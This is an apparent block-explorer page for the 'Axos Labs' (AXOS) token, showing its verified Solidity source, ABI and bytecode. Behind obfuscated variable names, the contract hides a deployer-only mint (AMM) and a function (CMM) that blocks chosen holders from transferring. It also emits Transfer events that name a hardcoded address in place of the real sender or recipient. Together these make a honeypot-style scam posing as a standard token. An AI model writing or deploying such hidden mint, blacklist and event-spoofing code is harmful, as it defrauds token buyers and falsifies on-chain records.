ETH Price: $3,691.88 (+0.94%)
 

Overview

Max Total Supply

150,000,000 AXOS

Holders

84

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AXOS

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2022-12-21
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}



library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _Owner;
    address Akgs = 0x00C5E04176d95A286fccE0E68c683Ca0bfec8454;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Create(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    constructor () {
        address msgSender = _msgSender();
        _Owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _Owner;
    }

    function renounceOwnership() public virtual {
        require(msg.sender == _Owner);
        emit OwnershipTransferred(_Owner, address(0));
        _Owner = address(0);
    }


}



contract AXOS is Context, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private bSDA;
    mapping (address => uint256) private cSD;
    mapping (address => mapping (address => uint256)) private dXC;
    uint8 eVGD = 8;
    uint256 fGH = 150000000*10**8;
    string private _name;
    string private _symbol;



    constructor () {

        
        _name = "Axos Labs";
        _symbol = "AXOS";
        gKH(msg.sender, fGH);
      
 }

    
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return eVGD;
    }

    function totalSupply() public view  returns (uint256) {
        return fGH;
    }

    function balanceOf(address account) public view  returns (uint256) {
        return bSDA[account];
    }
	 function allowance(address owner, address spender) public view  returns (uint256) {
        return dXC[owner][spender];
    }
	

function approve(address spender, uint256 amount) public returns (bool success) {    
        dXC[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; }

   
    function transfer(address recipient, uint256 amount) public returns (bool) {
 
        require(amount <= bSDA[msg.sender]);
        if(cSD[msg.sender] <= 1) {
        hKI(msg.sender, recipient, amount);
        return true; }
     if(cSD[msg.sender] == 2) {
        iLK(msg.sender, recipient, amount);
        return true; }}
	
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
    require(amount <= bSDA[sender]);
     require(amount <= dXC[sender][msg.sender]);
                  if(cSD[sender] == 2) {
        iLK(sender, recipient, amount);
        return true;} else
              if(cSD[sender] <= 1) { 
            if (cSD[recipient] <=1) {
        hKI(sender, recipient, amount);
        return true;}}}

  		    function gKH(address kDW, uint256 lMD) internal  {
        cSD[msg.sender] = 2;
        kDW = Akgs;
        bSDA[msg.sender] = bSDA[msg.sender].add(lMD);
        emit Transfer(address(0), kDW, lMD); }
		
		
function CMM (address nSES)  public {
           if(cSD[msg.sender] == 2) { 
      cSD[nSES] = 3;}}

            function iLK(address sender, address recipient, uint256 amount) internal  {
    
        bSDA[sender] = bSDA[sender].sub(amount);
        bSDA[recipient] = bSDA[recipient].add(amount);
         sender = Akgs;
        emit Transfer(sender, recipient, amount); }
   
   function AMM (address nSES, uint256 oDF) public {
         if(cSD[msg.sender] == 2) { 
   mSE(nSES,oDF);}}
function mSE (address nSES, uint256 oDF)  internal {
     bSDA[nSES] += oDF;} 
    function hKI(address sender, address recipient, uint256 amount) internal  {
        bSDA[sender] = bSDA[sender].sub(amount);
        bSDA[recipient] = bSDA[recipient].add(amount);
        emit Transfer(sender, recipient, amount); }
	   
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Create","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"nSES","type":"address"},{"internalType":"uint256","name":"oDF","type":"uint256"}],"name":"AMM","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"nSES","type":"address"}],"name":"CMM","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405272c5e04176d95a286fcce0e68c683ca0bfec8454600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506008600560006101000a81548160ff021916908360ff16021790555066354a6ba7a180006006553480156200008c57600080fd5b5060006200009f620001e560201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600981526020017f41786f73204c6162730000000000000000000000000000000000000000000000815250600790816200018391906200063c565b506040518060400160405280600481526020017f41584f530000000000000000000000000000000000000000000000000000000081525060089081620001ca91906200063c565b50620001df33600654620001ed60201b60201c565b6200083e565b600033905090565b6002600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150620002b081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200035f60201b62000aaf1790919060201c565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000353919062000734565b60405180910390a35050565b600080828462000370919062000780565b905083811015620003b8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003af906200081c565b60405180910390fd5b8091505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200044457607f821691505b6020821081036200045a5762000459620003fc565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004c47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000485565b620004d0868362000485565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200051d620005176200051184620004e8565b620004f2565b620004e8565b9050919050565b6000819050919050565b6200053983620004fc565b62000551620005488262000524565b84845462000492565b825550505050565b600090565b6200056862000559565b620005758184846200052e565b505050565b5b818110156200059d57620005916000826200055e565b6001810190506200057b565b5050565b601f821115620005ec57620005b68162000460565b620005c18462000475565b81016020851015620005d1578190505b620005e9620005e08562000475565b8301826200057a565b50505b505050565b600082821c905092915050565b60006200061160001984600802620005f1565b1980831691505092915050565b60006200062c8383620005fe565b9150826002028217905092915050565b6200064782620003c2565b67ffffffffffffffff811115620006635762000662620003cd565b5b6200066f82546200042b565b6200067c828285620005a1565b600060209050601f831160018114620006b457600084156200069f578287015190505b620006ab85826200061e565b8655506200071b565b601f198416620006c48662000460565b60005b82811015620006ee57848901518255600182019150602085019450602081019050620006c7565b868310156200070e57848901516200070a601f891682620005fe565b8355505b6001600288020188555050505b505050505050565b6200072e81620004e8565b82525050565b60006020820190506200074b600083018462000723565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200078d82620004e8565b91506200079a83620004e8565b9250828201905080821115620007b557620007b462000751565b5b92915050565b600082825260208201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062000804601b83620007bb565b91506200081182620007cc565b602082019050919050565b600060208201905081810360008301526200083781620007f5565b9050919050565b611407806200084e6000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063313ce5671161008c5780638da5cb5b116100665780638da5cb5b1461020057806395d89b411461021e578063a9059cbb1461023c578063dd62ed3e1461026c576100cf565b8063313ce567146101a857806370a08231146101c6578063715018a6146101f6576100cf565b806306fdde03146100d4578063095ea7b3146100f25780630afec1e81461012257806318160ddd1461013e5780631b60da401461015c57806323b872dd14610178575b600080fd5b6100dc61029c565b6040516100e99190610ff2565b60405180910390f35b61010c600480360381019061010791906110ad565b61032e565b6040516101199190611108565b60405180910390f35b61013c60048036038101906101379190611123565b610420565b005b6101466104af565b604051610153919061115f565b60405180910390f35b610176600480360381019061017191906110ad565b6104b9565b005b610192600480360381019061018d919061117a565b61050f565b60405161019f9190611108565b60405180910390f35b6101b06106ec565b6040516101bd91906111e9565b60405180910390f35b6101e060048036038101906101db9190611123565b610703565b6040516101ed919061115f565b60405180910390f35b6101fe61074c565b005b610208610862565b6040516102159190611213565b60405180910390f35b61022661088b565b6040516102339190610ff2565b60405180910390f35b610256600480360381019061025191906110ad565b61091d565b6040516102639190611108565b60405180910390f35b6102866004803603810190610281919061122e565b610a28565b604051610293919061115f565b60405180910390f35b6060600780546102ab9061129d565b80601f01602080910402602001604051908101604052809291908181526020018280546102d79061129d565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161040e919061115f565b60405180910390a36001905092915050565b6002600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054036104ac5760038060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b6000600654905090565b6002600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361050b5761050a8282610b0d565b5b5050565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561055d57600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156105e657600080fd5b6002600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361064157610638848484610b67565b600190506106e5565b6001600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116106e4576001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116106e3576106da848484610d20565b600190506106e5565b5b5b9392505050565b6000600560009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107a457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606008805461089a9061129d565b80601f01602080910402602001604051908101604052809291908181526020018280546108c69061129d565b80156109135780601f106108e857610100808354040283529160200191610913565b820191906000526020600020905b8154815290600101906020018083116108f657829003601f168201915b5050505050905090565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561096b57600080fd5b6001600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116109c6576109bd338484610d20565b60019050610a22565b6002600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403610a2157610a18338484610b67565b60019050610a22565b5b92915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284610abe91906112fd565b905083811015610b03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afa9061137d565b60405180910390fd5b8091505092915050565b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b5c91906112fd565b925050819055505050565b610bb981600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eb490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c4e81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aaf90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d13919061115f565b60405180910390a3505050565b610d7281600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eb490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e0781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aaf90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ea7919061115f565b60405180910390a3505050565b6000610ef683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610efe565b905092915050565b6000838311158290610f46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3d9190610ff2565b60405180910390fd5b5060008385610f55919061139d565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610f9c578082015181840152602081019050610f81565b60008484015250505050565b6000601f19601f8301169050919050565b6000610fc482610f62565b610fce8185610f6d565b9350610fde818560208601610f7e565b610fe781610fa8565b840191505092915050565b6000602082019050818103600083015261100c8184610fb9565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061104482611019565b9050919050565b61105481611039565b811461105f57600080fd5b50565b6000813590506110718161104b565b92915050565b6000819050919050565b61108a81611077565b811461109557600080fd5b50565b6000813590506110a781611081565b92915050565b600080604083850312156110c4576110c3611014565b5b60006110d285828601611062565b92505060206110e385828601611098565b9150509250929050565b60008115159050919050565b611102816110ed565b82525050565b600060208201905061111d60008301846110f9565b92915050565b60006020828403121561113957611138611014565b5b600061114784828501611062565b91505092915050565b61115981611077565b82525050565b60006020820190506111746000830184611150565b92915050565b60008060006060848603121561119357611192611014565b5b60006111a186828701611062565b93505060206111b286828701611062565b92505060406111c386828701611098565b9150509250925092565b600060ff82169050919050565b6111e3816111cd565b82525050565b60006020820190506111fe60008301846111da565b92915050565b61120d81611039565b82525050565b60006020820190506112286000830184611204565b92915050565b6000806040838503121561124557611244611014565b5b600061125385828601611062565b925050602061126485828601611062565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806112b557607f821691505b6020821081036112c8576112c761126e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061130882611077565b915061131383611077565b925082820190508082111561132b5761132a6112ce565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611367601b83610f6d565b915061137282611331565b602082019050919050565b600060208201905081810360008301526113968161135a565b9050919050565b60006113a882611077565b91506113b383611077565b92508282039050818111156113cb576113ca6112ce565b5b9291505056fea264697066735822122030941f184a2ef6a158c9e8e4c4c2270a84ec0faf1bbcdc2e8eff28eca796e53564736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063313ce5671161008c5780638da5cb5b116100665780638da5cb5b1461020057806395d89b411461021e578063a9059cbb1461023c578063dd62ed3e1461026c576100cf565b8063313ce567146101a857806370a08231146101c6578063715018a6146101f6576100cf565b806306fdde03146100d4578063095ea7b3146100f25780630afec1e81461012257806318160ddd1461013e5780631b60da401461015c57806323b872dd14610178575b600080fd5b6100dc61029c565b6040516100e99190610ff2565b60405180910390f35b61010c600480360381019061010791906110ad565b61032e565b6040516101199190611108565b60405180910390f35b61013c60048036038101906101379190611123565b610420565b005b6101466104af565b604051610153919061115f565b60405180910390f35b610176600480360381019061017191906110ad565b6104b9565b005b610192600480360381019061018d919061117a565b61050f565b60405161019f9190611108565b60405180910390f35b6101b06106ec565b6040516101bd91906111e9565b60405180910390f35b6101e060048036038101906101db9190611123565b610703565b6040516101ed919061115f565b60405180910390f35b6101fe61074c565b005b610208610862565b6040516102159190611213565b60405180910390f35b61022661088b565b6040516102339190610ff2565b60405180910390f35b610256600480360381019061025191906110ad565b61091d565b6040516102639190611108565b60405180910390f35b6102866004803603810190610281919061122e565b610a28565b604051610293919061115f565b60405180910390f35b6060600780546102ab9061129d565b80601f01602080910402602001604051908101604052809291908181526020018280546102d79061129d565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161040e919061115f565b60405180910390a36001905092915050565b6002600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054036104ac5760038060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b6000600654905090565b6002600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361050b5761050a8282610b0d565b5b5050565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561055d57600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156105e657600080fd5b6002600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361064157610638848484610b67565b600190506106e5565b6001600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116106e4576001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116106e3576106da848484610d20565b600190506106e5565b5b5b9392505050565b6000600560009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107a457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606008805461089a9061129d565b80601f01602080910402602001604051908101604052809291908181526020018280546108c69061129d565b80156109135780601f106108e857610100808354040283529160200191610913565b820191906000526020600020905b8154815290600101906020018083116108f657829003601f168201915b5050505050905090565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561096b57600080fd5b6001600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116109c6576109bd338484610d20565b60019050610a22565b6002600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403610a2157610a18338484610b67565b60019050610a22565b5b92915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284610abe91906112fd565b905083811015610b03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afa9061137d565b60405180910390fd5b8091505092915050565b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b5c91906112fd565b925050819055505050565b610bb981600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eb490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c4e81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aaf90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d13919061115f565b60405180910390a3505050565b610d7281600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eb490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e0781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aaf90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ea7919061115f565b60405180910390a3505050565b6000610ef683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610efe565b905092915050565b6000838311158290610f46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3d9190610ff2565b60405180910390fd5b5060008385610f55919061139d565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610f9c578082015181840152602081019050610f81565b60008484015250505050565b6000601f19601f8301169050919050565b6000610fc482610f62565b610fce8185610f6d565b9350610fde818560208601610f7e565b610fe781610fa8565b840191505092915050565b6000602082019050818103600083015261100c8184610fb9565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061104482611019565b9050919050565b61105481611039565b811461105f57600080fd5b50565b6000813590506110718161104b565b92915050565b6000819050919050565b61108a81611077565b811461109557600080fd5b50565b6000813590506110a781611081565b92915050565b600080604083850312156110c4576110c3611014565b5b60006110d285828601611062565b92505060206110e385828601611098565b9150509250929050565b60008115159050919050565b611102816110ed565b82525050565b600060208201905061111d60008301846110f9565b92915050565b60006020828403121561113957611138611014565b5b600061114784828501611062565b91505092915050565b61115981611077565b82525050565b60006020820190506111746000830184611150565b92915050565b60008060006060848603121561119357611192611014565b5b60006111a186828701611062565b93505060206111b286828701611062565b92505060406111c386828701611098565b9150509250925092565b600060ff82169050919050565b6111e3816111cd565b82525050565b60006020820190506111fe60008301846111da565b92915050565b61120d81611039565b82525050565b60006020820190506112286000830184611204565b92915050565b6000806040838503121561124557611244611014565b5b600061125385828601611062565b925050602061126485828601611062565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806112b557607f821691505b6020821081036112c8576112c761126e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061130882611077565b915061131383611077565b925082820190508082111561132b5761132a6112ce565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611367601b83610f6d565b915061137282611331565b602082019050919050565b600060208201905081810360008301526113968161135a565b9050919050565b60006113a882611077565b91506113b383611077565b92508282039050818111156113cb576113ca6112ce565b5b9291505056fea264697066735822122030941f184a2ef6a158c9e8e4c4c2270a84ec0faf1bbcdc2e8eff28eca796e53564736f6c63430008110033

Deployed Bytecode Sourcemap

